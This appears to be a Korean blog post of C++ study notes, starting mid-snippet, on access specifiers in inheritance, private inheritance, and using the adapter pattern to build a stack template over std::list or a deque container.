GallexyS2 s2;

p.UsePhone(&s2);


}

*/

Posted by k1rha
2012. 8. 15. 13:28

#include<iostream>

//using namespace std;


//////////////////////////////////////////////////////////////////////

//  접근 변경자!

//////////////////////////////////////////////////////////////////////

// 1. 부모의 멤버를 물려 받을때 접근 지정자를 변경해서 물려 받게 하는 기술

//////////////////////////////////////////////////////////////////////


/*

class A {


private: int a;

protected: int b;

public: int c;



};

class B : public A{


};

int main(){

A a;

B b;

a.c = 10;

b.c = 10;


}

*/


#include<list>

//////////////////////////////////////////////////////////////////////////////////////////////////////

//list 가 있다. 

//그런데 스텍이 필요하다!

// 그럼 새롭게 만드는것보다 list를 한방향으로만 사용하면 stack 이다..list를 재사용하자

// LIST 클래스를 다른 클래스 stack 처럼 사용한다

//

//어댑터 패턴 : 기존 클래스의 인터페이스(함수 이름)을 변경해서 다른 클래스처럼 보이게 하는 디자인 기술.

//

//이럴때 list의 있는 함수는 쓰기 싫지만, 자신은 써야할떄 private 상속을 하면됨.

//private 상속 철학: 구현은 물려 받지만 (자식이 내부적으로 사용하지만 인터페이스는 물려받지 않겠다 : 

// :부모함수를 노출하지는 않겠다.

//////////////////////////////////////////////////////////////////////////////////////////////////////

/*

using namespace std;


template<typename T> class stack : private list<T>{

public:

void push(const T &a) {push_back(a);}

void pop() {pop_back();}

T & top() {return back();}


};


int main(){

stack<int> s;

s.push(10);

cout << s.top()<<endl;


}

*/

/*

/////////////////////////////////////////////////////////////////////

//s/w 재사용에는 상속 뿐만 아니라 포함도 있다.

//int 형외에 벡터도 가져오고 싶은데 

// 사용자편의를 위해서 디폴트를 int형으로 선언하고싶다! 

//아래와같이 코딩함

/////////////////////////////////////////////////////////////////////

using namespace std;

template<typename T,typename C=deque<int>> class stack{

C st;

public:

void push(const T&a) {st.push_back(a);}

void pop() {st.pop_back();}

T & top() {return st.back();}

};

int main(){

stack<int> s;

s.push(10);

cout << s.top();


}

*/



Posted by k1rha